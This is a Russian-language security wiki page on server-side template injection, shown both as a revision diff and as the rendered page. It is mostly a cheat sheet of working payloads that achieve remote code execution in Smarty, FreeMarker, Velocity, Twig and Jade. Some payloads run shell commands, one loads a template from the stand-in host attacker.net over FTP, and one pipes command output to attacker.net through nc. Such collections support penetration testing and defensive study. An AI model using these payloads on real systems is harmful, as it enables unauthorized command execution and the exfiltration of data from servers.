TemplateInj — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м
м
Строка 7: Строка 7:
 
==Определение обработчика шаблонов==
 
==Определение обработчика шаблонов==
  
Определение обработчика для Python:
+
 
  
 
[[Файл:SSTI_Flow_Chart.png]]
 
[[Файл:SSTI_Flow_Chart.png]]
  
 +
 +
 +
Jade:
 +
<syntaxhighlight lang="python" line="1" style="overflow-x:scroll" >
 +
= 7*7
 +
</syntaxhighlight>
  
 
==Эксплуатация==
 
==Эксплуатация==
 +
 +
===Smarty Engine===
 +
 +
====Вызов переменной====
 +
 +
<syntaxhighlight lang="python" line="1" style="overflow-x:scroll" >
 +
{user.name}
 +
</syntaxhighlight>
  
  
 +
<syntaxhighlight lang="python" line="1" style="overflow-x:scroll" >
 +
${username}
 +
</syntaxhighlight>
 +
 +
====RCE====
 +
 +
<syntaxhighlight lang="python" line="1" style="overflow-x:scroll" >
 +
{php}echo `id`;{/php}
 +
</syntaxhighlight>
 +
 +
<syntaxhighlight lang="python" line="1" style="overflow-x:scroll" >
 +
<%
 +
import os
 +
x=os.popen('id').read()
 +
%>
 +
${x}
 +
</syntaxhighlight>
 +
 +
===FreeMarker===
 +
Используется в Java
 +
 +
====RCE====
 +
 +
<syntaxhighlight lang="java" line="1" style="overflow-x:scroll" >
 +
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
 +
</syntaxhighlight>
 +
 +
 +
===Velocity===
 +
Используется в Java и C#
 +
 +
====RCE====
 +
 +
Blind
 +
 +
<syntaxhighlight lang="java" line="1" style="overflow-x:scroll" >
 +
$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()
 +
</syntaxhighlight>
 +
 +
Viewed
 +
 +
<syntaxhighlight lang="java" line="1" style="overflow-x:scroll" >
 +
#set($str=$class.inspect("java.lang.String").type)
 +
#set($chr=$class.inspect("java.lang.Character").type)
 +
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
 +
$ex.waitFor()
 +
#set($out=$ex.getInputStream())
 +
#foreach($i in [1..$out.available()])
 +
$str.valueOf($chr.toChars($out.read()))
 +
#end
 +
</syntaxhighlight>
 +
 +
 +
===Twig===
 +
 +
Используется в PHP
 +
 +
====RCE====
 +
 +
=====allow_url_include=====
 +
 +
С включенным allow_url_include (проверить можно в phpinfo() ).
 +
 +
<syntaxhighlight lang="php" line="1" style="overflow-x:scroll" >
 +
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
 +
</syntaxhighlight>
 +
 +
 +
=====Other=====
 +
 +
<syntaxhighlight lang="php" line="1" style="overflow-x:scroll" >
 +
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
 +
</syntaxhighlight>
 +
 +
====Вызов уязвимого метода====
 +
 +
=====Sandbox=====
 +
 +
<syntaxhighlight lang="php" line="1" style="overflow-x:scroll" >
 +
{{_self.displayBlock("id",[],{"id":[userObject,"vulnerableMethod"]})}}
 +
</syntaxhighlight>
 +
 +
 +
===Jade===
 +
 +
====RCE====
 +
 +
<syntaxhighlight lang="php" line="1" style="overflow-x:scroll" >
 +
- var x = root.process
 +
- x = x.mainModule.require
 +
- x = x('child_process')
 +
= x.exec('id | nc attacker.net 80')
 +
</syntaxhighlight>
  
 
==Примеры==
 
==Примеры==
Строка 27: Строка 134:
  
 
[https://en.wikipedia.org/wiki/Comparison_of_web_template_engines Вики - полный список template engines]
 
[https://en.wikipedia.org/wiki/Comparison_of_web_template_engines Вики - полный список template engines]
 +
 +
[https://portswigger.net/blog/server-side-template-injection portswigger tutorial]

Версия 14:55, 30 июня 2018


Обнаружение уязвимости

Определение обработчика шаблонов

SSTI Flow Chart.png


Jade:

1 = 7*7

Эксплуатация

Smarty Engine

Вызов переменной

1 {user.name}


1 ${username}

RCE

1 {php}echo `id`;{/php}
1 <%
2 import os
3 x=os.popen('id').read()
4 %>
5 ${x}

FreeMarker

Используется в Java

RCE

1 <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }


Velocity

Используется в Java и C#

RCE

Blind

1 $class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()

Viewed

1 #set($str=$class.inspect("java.lang.String").type)
2 #set($chr=$class.inspect("java.lang.Character").type)
3 #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
4 $ex.waitFor()
5 #set($out=$ex.getInputStream())
6 #foreach($i in [1..$out.available()])
7 $str.valueOf($chr.toChars($out.read()))
8 #end


Twig

Используется в PHP

RCE

allow_url_include

С включенным allow_url_include (проверить можно в phpinfo() ).

1 {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}


Other
1 {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Вызов уязвимого метода

Sandbox
1 {{_self.displayBlock("id",[],{"id":[userObject,"vulnerableMethod"]})}}


Jade

RCE

1 - var x = root.process
2 - x = x.mainModule.require
3 - x = x('child_process')
4 = x.exec('id | nc attacker.net 80')

Примеры

Translate - Google CTF 2018

Ссылки

tplmap - утилита для эксплуатации

Список пейлоадов

Вики - полный список template engines

portswigger tutorial